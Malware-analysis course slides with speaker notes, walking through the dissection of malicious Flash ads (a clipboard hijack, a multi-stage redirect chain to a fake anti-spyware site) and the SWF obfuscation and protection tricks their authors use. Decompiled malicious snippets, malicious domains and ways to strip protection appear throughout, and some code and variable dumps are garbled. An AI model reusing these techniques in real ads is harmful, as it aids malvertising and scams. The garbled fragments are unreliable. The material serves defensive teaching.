The example on this slide does the same thing as the one on the previous slide: it displays “Hello World”, and was taken from the Wikipedia article at http://en.wikipedia.org/wiki/ActionScript.

As you can see, the syntax of the high-level programming language is different here than on the previous slide. That’s because in this case, the programmer used ActionScript 3. ActionScript 3 has a different set of p-code instructions, and produces different bytecode. As a result, Flash Player 9 and higher has a separate virtual machine for processing ActionScript 3 bytecode; it is called ActionScript Virtual Machine 2 (AVM2).

Because of the differences between scripts written in ActionScript 1 or 2, and those written in ActionScript 3, we need know which analysis tools are capable of supporting which language/bytecode version.
Another Example: Clipboard Hijack to Distribute Malicious URL.

- Clipboard persistently contains an unfamiliar URL.
- Adding new content to the clipboard seems to have no effect.

It's time for another example. This specimen is located on your course DVD in \Malware\day2\clipboard-poc.zip. It's also on your REMux system in ~/remux/malware/day2/clipboard-poc.zip.

In August 2008, a number of people reported that their computer's clipboard seemed possessed. No matter what the attempted to copy and paste, the result was always a URL that seemed to point to a suspicious website: http://windowsxp-privacy.net. A user on a discussion form reported the following:

"I'm only going to websites that are directly linked off the main page of digg.com, so they're not obscure, and I'm surfing in firefox, though the system wide clipboard is getting taken over, so I can't even copy something over that from a program like TextEdit."
(http://discussions.apple.com/thread.jspa?messageID=768848)

Subsequent analysis pointed to the likely explanation: The clipboard was "hijacked" by the code built into the malicious Flash ad, that looked like the one on this slide. It was in effect as long as the victim's browser was displaying the ad in one of its tabs or Windows. Its author was probably counting on some of the victims to blindly paste the URL into e-mail messages and instant messenger conversations without looking at what they were pasting. This incident is described in these articles:
http://blogs.zdnet.com/security/?p=1733
http://www.theregister.co.uk/2008/08/15/webbased_clipboard_hijacking/
Disassemble ActionScript 1, 2, and 3 with SWFTools swfdump

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>unzip /malware/day23 clipboard-poc.zip</code></td>
<td>Unzips the clipboard-poc.zip archive.</td>
</tr>
<tr>
<td><code>cd /malware/day23</code></td>
<td>Changes directory to the malware directory.</td>
</tr>
<tr>
<td><code>swfdump -Ddu clipboard-poc.swf</code></td>
<td>Decompresses clipboard-poc.swf.</td>
</tr>
<tr>
<td><code>notepad clipboard-poc.txt</code></td>
<td>Opens clipboard-poc.txt in Notepad.</td>
</tr>
</tbody>
</table>

I wasn't able to find a copy of the original malicious ad circulating in the wild. However, we can understand how it worked by examining a very similar proof-of-concept Flash program created by Aviv Raff. I retrieved it from http://raffon.net/research/flash/cb/test.html.

If you try to decompile clipboard-poc.swf with Flare, you won't get anything useful. That's because Flare cannot analyze ActionScript 3. The tool we can try is swfdump. Swfdump is an excellent tool, particularly because it can disassemble AVM1 (ActionScript 1 and 2) and AVM2 bytecode (ActionScript 3), and because of the many details it can present about the SWF file. Unlike a decompiler, it cannot recreate the original ActionScript source code, though. Swfdump is part of the free SWFTools package that also includes swfextract, which we mentioned earlier.

The parameters "-Ddu" are the ones you will usually want to use:

- "-D" is a shorthand for "-atp". "-a" tells the tool to disassemble action tags. "-t" tells the tool to show text. "-p" tells it to show placement information.
- "-d" tells the tool to print hexadecimal output of the tag data.
- "-u" tells the tool to print tag IDs.
Swfdump produces its output in a text format. You can examine it using a text editor such as SciTE, which you can invoke on REMux by typing "notepad" followed by the path to the file you wish to edit.

One of the SWF tags shown by swfdump includes a script shown on this slide. Swfdump shows the script in the form of p-code. In this example, the script references the potentially malicious URL and makes use of the setClipboard function.
In this course, we try to stick with free tools whenever possible. In the case of analyzing malicious SWF programs, it helps to have a commercial decompiler in your toolkit, because many of the free tools, and notably the free decompiler Flare, cannot handle ActionScript 3.

On this slide, you see two commercial decompilers in action, showing the action ActionScript source code they automatically generated after parsing the clipboard-poc.swf file. They can also show you the p-code that represents the underlying bytecode, but it's much nicer to see the program's source code. Both tools cost under $100, and offer free, but feature-limited trials. These tools run on Microsoft Windows.


Another Example: Multi-Step Redirection

- Visitors to taringa.net saw the following banner ad.
- Some were redirected to a site that told them of a spyware problem.
- What was going on?

Let's look at another example. This one demonstrates the complexity that can be built into the redirection logic of malicious Flash ads.

In this case, visitors to the taringa.net website reported being redirected to a malicious site after seeing the banner ad captured on this slide. If you were given a link to the ad's SWF file, how would you understand its capabilities and the destination of the redirect?

The files used in this example are located on your course DVD in `Malware\day2\17113.zip`. They are also on your REMnux system in `remnux/malware/day2/17113.zip`. 
Initial Behavioral Analysis Was Not Very Helpful

- Nothing suspicious when loading the SWF file in the browser.
- Clicking on the ad shows nothing suspicious either.
- Could be sensitive to time, URL, parameters, etc.

If you save the 17113.swf file locally and open it in a Web browser, the ad will load (if you have a Flash player installed), but nothing "bad" will occur. If you click on the ad, you will be redirected to www.car.com, which is a well-known legitimate site that is unlikely to be the attacker's desired destination.

Very possibly, it's not enough to simply click on the ad in our lab, as the redirection logic built into the SWF program could be based on the time of day, the site where the file resides, etc.
We can decompile 17113.swf file with Flare by running “flare 17113.swf” on REMux.
This produces the 17113.fir text file that should contain decompiled scripts, extracted from the
potentially malicious SWF file. We can examine this file using a text editor such as SciTE.
Flare Confused by Obfuscation?

The scripts embedded into 17113.swf seem to be ActionScript 2, so Flare is able to decompile them. Unfortunately, as you can see on this slide, the resulting script is not very readable. There are various loops, some mathematical manipulations... This is most likely the result of passing the original SWF program through an obfuscator.
Sothink SWF Decompiler Suggests Obfuscated Code

ActionScript View

```actionscript
5  /// {Action in Frame 1}
4  var \ racially = 5;
3  for (i = eval("\x801") + 729; eval("\x804") == 485; \ x01 = eval("\x804") + 206)
2  {
1  } // end of for
```

P-Code View

```p-code
9  /// {Action in Frame 1}
8  _push "\x801"
7  _push 5
6  _var
5  #4 _push "\x801"
4  _getVariable
3  _push 5
```

Commercial decompiles do a bit better than Flare, but not by much. On this slide, you see the results of looking at 17113.swf with Sothink SWF Decompiler. The still-obfuscated source code is still on the top. The corresponding p-code is at the bottom, and it is not much more helpful.

This is probably protected using SWF Encrypt (more on that in subsequent slides).
SWFTools swfdump Shows Several URLs. Relevant?

We can get another perspective on 17113.swf by disassembling it with "swfdump -Ndu 17113.swf > 17113.txt". We still don't see ActionScript bytecode that helps clarify what's going on. However, some of the text shown by swfdump as embedded into the SWF file references URLs, such as "http://hoodithin.com/". This looks like a dieting website, and doesn't match the one the victims describe being redirected to.

Swfdump also shows "http://www.car.com/index.cfm/RE/38" in another section of the SWF file, as shown below:

Adobe Flash Shows Another URL

Global Variables:
Variable _global.btn = [function 'btn']
Level 0:
Variable_level10._version = "WIN 9.0,45.0"
Variable_level10.0 = 461
Variable_level10.clickTag = "http://www.car.com/index.cfm?REF/38"
Variable_level10.clickTarget = "._blank"
Variable_level10.cookie = "d2Vp3G9uZ291c3w13"

Open 17113.swf > Debug > List variables

Adobe Flash CS is the commercial application designers and software developers typically use to create Flash programs. As analysts, we may sometimes, though not often, also find it useful. In the case of 17113.swf, Adobe Flash CS was able to generate a list of variables (via the Debug > List variables menu). One of those variables points to a new website getfreecar.com, and even gives us a full URL.
Exploring Domain Reputation for getfreecar.com

DomainTools Whois Lookup

Registrant:
Getfreecar
P.O. Box 145
Zaporozhye, 69006
UA

There are 2 domains hosted on this IP address.
1. Getfreecar.com
2. Singledaily.com

WOT Security Scorecard

<table>
<thead>
<tr>
<th>DNS BH</th>
<th>Malicious content, viruses</th>
<th>Appeared on malware domain blacklist</th>
</tr>
</thead>
<tbody>
<tr>
<td>MALHosts</td>
<td>Malicious content, viruses</td>
<td>Appeared on a list of malicious websites</td>
</tr>
<tr>
<td>MALHosts</td>
<td>Spyware or adware</td>
<td>Engaged in the distribution of malware</td>
</tr>
</tbody>
</table>

We can use public whois records, as well as reputational systems such as WOT (www.mywot.com) to explore the nature of getfreecar.com even without connecting to it. Domaintools.com listed the domain's registrant as someone residing in Ukraine. It also pointed out that another site hosted on the same server is singledaily.com, which we could investigate next.

The WOT security scorecard for getfreecar.com, shown on this slide, suggests that this domain has the reputation for hosting malicious software. The singledaily.com scorecard, shown below, looks suspicious as well.

WOT Security Scorecard for singledaily.com

<table>
<thead>
<tr>
<th>Date</th>
<th>Source</th>
<th>Category</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/12/2020</td>
<td>Spam domain blacklist</td>
<td>Spam</td>
<td>Appeared on a spam blacklist</td>
</tr>
</tbody>
</table>
Flare can Decompile the statsa.php SWF File

The URL embedded into 17113.swf points us at statsa.php, which is actually another SWF file. We can decompile it using Flare, as you can see on this slide.

The script embedded into statsa.php has the logic to parse URL parameters such as "campaign=weidoneous\&u=1200066806". Note that "campaign" and "u" parameters are listed here in the order different from that of the string embedded into 17113.swf, for some reason.

The first split results in v1[1] being set to "weidoneous\&u=1200066806". The second split results in: v1[0] is "weidoneous" and v1[1] is "1200066806".

Then a Flash "cookie" is accessed via the GetLocal function. The name of the cookie is in v1[0], which in this case is "weidoneous". The code then checks whether the cookie has expired.

If no cookie is set, or the cookie has expired, then the code seems to manipulate URL parameters, substituting "stagsg.php" in place of "statsa.php". This may be used to redirect the victim to a new page.
The file statsg.php, which the previous SWF file sometimes redirects to, is also an HTML page that embeds a SWF file called gnida.swf. Flare is able to decompile this file without problems, as you can see in the output on this slide. There are references to more remote files.

Files on xxx-people-base.com seem to have been removed; when I tried to access them, they weren’t available to me.

u.php is a SWF file that seems to be a helper script, which Flare decompiles to:

```
movie 'u.php.swf' {
// flash 6, total frames: 3, frame rate: 100 fps, 10x10 px, compressed

frame 1 {
    (new LoadVars()).send(_root.u, '_blank', 'post');
}

frame 3 {
    stop();
}
}
The file stats.php is among those referenced by gnida.swf. This file seems to be a text configuration file. Its sole contents are the one line, which you can see on the top of this slide. It looks like a URL to which the victim will be redirected. The URL string is slightly encoded. When the victim accesses it, he or she will be redirected, yet again, this time to a site that may be the final destination: antispywaremaster.com.
Attempts to install a fake anti-spyware tool via social engineering.

On this slide you see what the victims saw as the result of the multiple redirections. The website attempted to confuse the person, so he or she would think the PC was infected or insecure. The attacker's goal was to install a fake anti-spyware program.

One of the malicious program's names was PerformanceOptimizer. After scanning the victim's system, it claimed that the PC was infected, and attempted to convince the person to purchase a fake spyware removal tool.

Symantec's overview of the PerformanceOptimizer program is available here:
Protecting Flash SWF Files (Briefly)

• Place code inside an unknown tag or after the “end” tag
  – Then jump there
• Jump in the middle of a code block
• Use a commercial protector
• Use an abstraction framework

Another topic I'd like to cover briefly is the techniques available to the author of a malicious SWF program to protect or obfuscate it. Because the Flash analysis tools available to us are still relatively immature, it's not too difficult to confuse them.

For instance, the author could place the program's script inside an unknown tag, and jump there from another tag. Similarly, the code can reside after the “end” tag. Here's a description of this approach from a discussion forum:

“I've also found a more interesting mangled SWF in the wild that actually places code in unknown tags (id=253). These tags contain some unknown data and a series of instructions. It looks like this: [unknown data][action block][<end>][branch].

The branch instruction at the end is the entry point for the tag, and it holds the (local) address of the start of the action block, counted from the end of the tag.” (from http://www.woodmann.com/forum/showpost.php?s=fbbd7de831d6e7244331ef095e93458&p=67205&postcount=1)

Additional SWF protection techniques are described in the following article:

The two examples I'd like to cover in the following slides involve using a commercial SWF protector, and an abstraction framework for Flash programs.
Commercial Protector Example:
SWF Encrypt Supports AS 1, 2, 3

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Protected</th>
<th>Version</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>17113.swf</td>
<td>40.259 kb</td>
<td>Yes</td>
<td>6</td>
<td>C:\Documents and Settings\Administrador\Desktop\Flash</td>
</tr>
<tr>
<td>9naa.swf</td>
<td>3.111 kb</td>
<td>No</td>
<td>6</td>
<td>C:\Documents and Settings\Administrador\Desktop\Flash</td>
</tr>
<tr>
<td>claxxx.php.swf</td>
<td>6.483 kb</td>
<td>No</td>
<td>8</td>
<td>C:\Documents and Settings\Administrador\Desktop\Flash</td>
</tr>
<tr>
<td>testbooks_728x90.swf</td>
<td>24.566 kb</td>
<td>Yes</td>
<td>6</td>
<td>C:\Documents and Settings\Administrador\Desktop\Flash</td>
</tr>
</tbody>
</table>

function timer(settings) {
    clearInterval(_root.intervalId);
    var targets = {};
    targets["0"] = "_top";
    targets["1"] = "_blank";
    var url = settings.url;
    var d = "dominant\document;":

    function DD () { ( 0 = 980 % 511 * true: "0", return 0; ) var 0 = -328 + DD (); for (;;) { if ( 0 = 141 ) { 0 = 0 + 256; 

SWF Encrypt is a commercial protector for Flash programs, and supports ActionScript versions 1, 2 and 3. It's available from http://www.anayeta.com.

As you can see on the top of this slide, SWF Encrypt is able to examine a SWF file and recognize whether the file is protected using SWF Encrypt. It looks like 17113.swf, which we examined earlier and found to be obfuscated, was processed using SWF Encrypt.

The bottom of the slide presents another look at the effectiveness, with which SWF Encrypt increases the complexity of the obfuscated SWF file. On the left is the original ActionScript function. On the right is a fragmented of the obfuscated code that SWF Encrypt produced. Note that function and variable names have been changed to use non-printable characters, and the code’s logic has been concealed behind a series of mathematical operations. Also, when SWF Decompiler attempts to process a SWF Encrypt-protected file, the decompiler may crash with the following error:

An old approach used by SWF Encrypt was reversed and documented by "Anonymous" in 2007 as part of the FREN SWF Encrypt "unprotector" tool. You can download the tool from the URL below.

Note that the latest version of SWF Encrypt uses different techniques:
http://www.woodmann.net/collaborative/tools/index.php/FREN.

SWF Decompiler has encountered a problem and needs to close. We are sorry for the inconvenience.
Abstraction Framework Example: Fuse Kit

- The banner ad seems to advertise easy-forex.com
- Victims report redirection to malware-installing site.

Another example of obfuscated malicious SWF programs involves the use of a programming abstraction framework, such as Fuse Kit. Fuse Kit is a non-malicious toolkit, which is designed to make it easier to implement animation in Flash. It's open-source, and is available as a free download from:

http://www.mosessupposes.com/Fuse/

Unfortunately, many authors of malicious SWT programs began using Fuse Kit to obfuscate their code. One example is the ad that appeared to advertise EasyForex (a legitimate site), and was seen on the popular Newsweek website. While clicking on the ad would take the person to easy-forex.com, some people reported also being redirected to malicious websites.

A few blog postings about the use of Fuse for malvertisements:
http://msmvps.com/blogs/spywaresucks/archive/2008/08/17/1644872.aspx (the screenshot of the ad on this slide is taken from here)
Flare Shows the Use of Fuse Kit, but No Malicious URLs

```javascript
movie 'easyforex_720x90.swf' |
// flash 6, total frames: 294, frame rate: 30 fps, 720x90 px, compressed

frame 1 {
    BigOlEngine.register({com.mosesSupposes.fuse.Fuse, com.mosesSupposes.fuse.FuseItem, FannerEasing});
    var f = new com.mosesSupposes.fuse.Fuse();
    f.scope = this;
    f.label = 'mc 42';
    f._set_target(box_mc);
    f.push(['delay': 0.14]);
}
```

button 15 {
    on (release) {
        getURL('http://www.easy-forex.com', '_blank');
    }
}

The malicious ad described on the previous slide is available on your course DVD in \Malware\day2\easyforex.zip. They are also on your REMnux system in ~remnux/malware/day2/easyforex.zip.

While you can decompile the program with Flare, you won't see a reference to any website other than www.easy-forex.com. The program's logic, and its data, seems to be obfuscated with the Fuse Kit, as suggested by references to "com.mosesSupposes.fuse".
Bypassing Adobe Flash Protection with FlashKeeper

Alas, even after loading into Adobe Flash CS, we see nothing useful.

Perhaps loading the SWF file into Adobe Flash CS will show useful details? In the case of easyforex_778x90.swf, Adobe Flash CS refused to load the SWF file, saying “Cannot open a protected movie.” That’s because we’ve encountered another protective mechanism—a Flash program’s author can designate his or her creation as a protected program, embedding the Protect tag into the SWF file.

Fortunately, bypassing this particular defensive mechanism is relatively simple. The easiest way to accomplish this is to use the FlashKeeper tool, which you can see in action at the bottom of this slide. It will unprotected the SWF program with a click of a button. (Note that here we’re talking about the protection technique using the Protect tag, not the obfuscation accomplished via the Fuse Kit.)

FlashKeeper is a commercial tool, and is available for less than $50 from:
http://www.flashkeeper.com/
Manually Bypassing Adobe Flash Protection

- See bytecode of the Protect instruction with "swfdump -Ddu"
- Uncompress with "flasm -x"
- Delete the "protect" bytecode with a hex editor

If you'd rather not buy FlashKeeper, you can remove the Protect tag yourself. You can see it and the associated bytecode via swfdump. You would then uncompress the SWF file with flasm, and use a hex editor to remove the Protect tag as well as its bytecode. Simple deleting the bytes from the SWF file will do the trick—there is no need to replace them with anything else.

Unfortunately, even though this step allows us to load easyforcx_728x90.swf into Adobe Flash CS, we still don't see any references to potentially malicious URLs.
When code analysis doesn't take us far, we still have behavioral analysis techniques to try. Earlier in this section, you saw Paros Proxy in action, monitoring the browser's interaction with remote websites. We can use it the case of malicious Flash programs, too. Launch Paros Proxy, set the browser to use it as its proxy, then load the SWF file into the browser.

As you can see on the bottom of this slide, Paros Proxy shows connections to adoptserver.info, even if the malicious ad is simply displayed in the browser without the user's interaction. Though we don't know where this URL is hidden within easyforex_728x90.swf, we are able to observe its use behaviorally.

The response, also captured by Paros Proxy, is another SWF file.
The New SWF File is Obfuscated Using SWF Encrypt

```javascript
movie 'response.swf' {
    // flash 6, total frames: 1, frame rate: 12 fps, 550x400 px, compressed
    // unknown tag 255 length 1
    // unknown tag 253 length 616

    frame 1 {
        function B() {
            for (;;) {
                for (;;) {
                    for (;;) {
                        for (;;) {
                            for (;;) {
                                for (;;) {
                                    for (;;) {
                                        for (;;) {
                                            for (;;) {
                                                for (;;) {
                                                    for (;;) {
                                                        for (;;) {
                                                            for (;;) {
                                                                for (;;) {
                                                                    for (;;) {
                                                                        for (;;) {
                                                                            for (;;) {
                                                                                for (;;) {
                                                                                    for (;;) {
                                                                                        for (;;) {
                                                                                            for (;;) {
                                                                                                for (;;) {
                                                                                                    for (;;) {
                                                                                                        for (;;) {
                                                                                                            for (;;) {
                                                                                                                for (;;) {
                                                                                                                    for (;;) {
                                                                                                                        for (;;) {
                                                                                                                            for (;;) {
                                                                                                                                for (;;) {
                                                                                                                                    for (;;) {
                                                                                                                                        for (;;) {
                                                                                                                                            for (;;) {
                                                                                                                                                for (;;) {
                                                                                                                                                    for (;;) {
                                                                                                                                                                    for (;;) {
                                                                                                                                                                        for (;;) {
                                                                                                                                                                            for (;;) {
                                                                                                                                                                                for (;;) {
                                                                                                                                                                                    for (;;) {
                                                                                                                        And so the chase continues...
                                                             
```

The new SWF file, which I called response.swf, seems to be obfuscated using SWF Encrypt. We need to bypass its protection, or examine it using behavioral analysis techniques. And so, the case continues, across the multiple redirection techniques, obfuscation layers, and other protective mechanisms...

In the case of malicious Flash programs, our tools aren't quite as advanced as with regular x86 executables. Most notably, we're missing a Flash bytecode-level debugger, that would allow us to examine the malicious SWF program even in its obfuscated form. Another approach might involve debugging Flash Player, as it executes the malicious SWF program... Perhaps you would like to create such a tool or document such a technique?
FOR610.2 Roadmap

... done with 1st half of FOR610.2

• Browser Malware
• Flash-Based Malware

→ Tools for Automating Website Analysis
• Hands-On Exercises

2nd half of FOR610.2

There are some free online tools we can use to speed up the analysis of browser-based malware. We'll look at them next.
Several freely-available tools can automate many of the tasks associated with the analysis of malicious web sites.
### Obtain Reputation History About the Website

- **McAfee SiteAdvisor:**
  www.siteadvisor.com

- **Norton Safe Web:**
  safeweb.norton.com

- **Web of Trust (WOT):**
  www.mywot.com

When examining a potentially malicious page, it's often useful to obtain a second opinion on the trustworthiness of the website hosting it. McAfee SiteAdvisor, Norton Safe Web, and Web of Trust (WOT) will give you historic information about the website to estimate the site's reputation, based on the historical information these services collected.
Scan the Suspected Page in Real Time

- AVG LinkScanner Online:
  linkscanner.explabs.com
- Finjan URL Analysis:
  www.finjan.com/Content.aspx?id=574
- G-Data MonkeyWrench:
  http://monkeywrench.de/

The on-line tools listed on this slide will visit the website you specify, scanning it in real time to identify malicious code that might exist on that page. For a longer listing of on-line tools for looking up potentially malicious websites, take a look at:

Automated JavaScript Deobfuscation Using JSUnpack

- Automates many of the tasks we performed manually.
- Freely available at http://jsunpack.jeek.org
- Accepts as input code or URL.

A very useful tool called JSUnpack can automate many of the JavaScript deobfuscation tasks that we performed manually. To use it, visit http://jsunpack.jeek.org. Paste in the malicious script or the link to the malicious page, then click submit. The web-based tool will run the malicious script using its server-side interpreter, and show you the result.

JSUnpack was created by Blake Hartstein. For some details regarding this tool's goals and implementation, see:

http://shmooccon.org/slides/BlakeHartstein_Shmooccon_Jsunpack_20090208.pdf
The screenshots on this slide show JSUnpack in action. For this example, we pasted in the contents of the data.hta file. JSUnpack was able to decode two layers of obfuscation, producing the decoded JavaScript code. Very convenient!
Automated JavaScript, SWF, PDF Dobfuscation Using Wepawet

- Can handle obfuscated JavaScript, as well as SWF and PDF files.
- Freely available at http://wepawet.iseclab.org
- Accepts as input file or URL

Wepawet is another excellent free on-line tool for deobfuscated malicious web pages. It can handle JavaScript embedded in HTML. It can also examine malicious contents embedded in SWF and PDF files!

Wepawet can accept a local file or a link to a live page you suspect of being malicious. However, Wepawet works best with live URLs, rather than files. According to Wepawet, “When analyzing a file (rather than a URL), Jsand does not examine external resources, such as iframes and scripts. In addition, properties such as document.location, document.referrer, and document.cookie, which are sometimes used by malicious scripts, are not set.”
This slide shows Wepawet in action, as it decodes the double-obfuscated example of data.htm, which we covered earlier in this section. Very nice!
Perhaps most impressively, Wepawet is able to decode protected contents of a Flash file response.swf—this is the file that stumped us during the manual analysis earlier in this section!
What We've Learned so Far

- Analyzing browser and multi-stage malware
- Analyzing malicious Flash programs
- Automated web page analysis tools

So far in this section we analyzed browser-based malware that consisted of multiple components. We also learned to analyze malicious Flash programs. Not only did we cover the steps for performing such analysis manually, we also explored free on-line tools that can automate many of the analysis steps.
FOR610.2 Roadmap

... done with 1st half of FOR610.2

- Browser Malware
- Flash-Based Malware
- Tools for Automating Website Analysis

Hands-On Exercises

Now, an overview of the exercises to reinforce the materials we just covered.
Hands-on Exercises

4. Go over this section's Flash program analysis exercises
5. Go over this section's JavaScript deobfuscation exercises using Firebug

If you haven't already, please take some time to review the examples presented in this section, including the Flash program analysis exercises, the JavaScript deobfuscation exercises.
Watch Your Step with Malware

- Easy to accidentally double-click
- Be sure to disconnect from the production network
- Ensure the virtual machine is in host only mode
- Do not use for malicious purposes

Hands-on exercises for this course involve real-world malware code that is dangerous and needs to be handled with care. Please follow isolation guidelines and common sense precautions to ensure that you do not accidentally impact your production environment.
Performing Malware Exercises

- Malware specimens located on REMnux in ~remnux/malware/day2
- Also on your course DVD in \Malware\day2
- Use password "malware" to extract malware zip file contents

The malware specimens used for these exercises are located on your REMnux distribution in the ~remnux/malware/day2 directory. They are also on your course DVD in the \Malware\day2 directory.

Each specimen is in a dedicated zip file that is protected with the password "malware" to help prevent accidental execution and anti-virus detection.
Hands-On Exercises: Solutions

Solutions to this set of exercises have been presented in the course materials. Please go over the previously-discussed slides for guidelines for performing the exercises and to validate your answers.

We've already covered the solutions to these exercises in the previous slides.
End of FOR610.2

- You have now completed FOR610.2.
- Congratulations!
- More malware analysis coming up next.

Congratulations! You have now completed FOR610.2.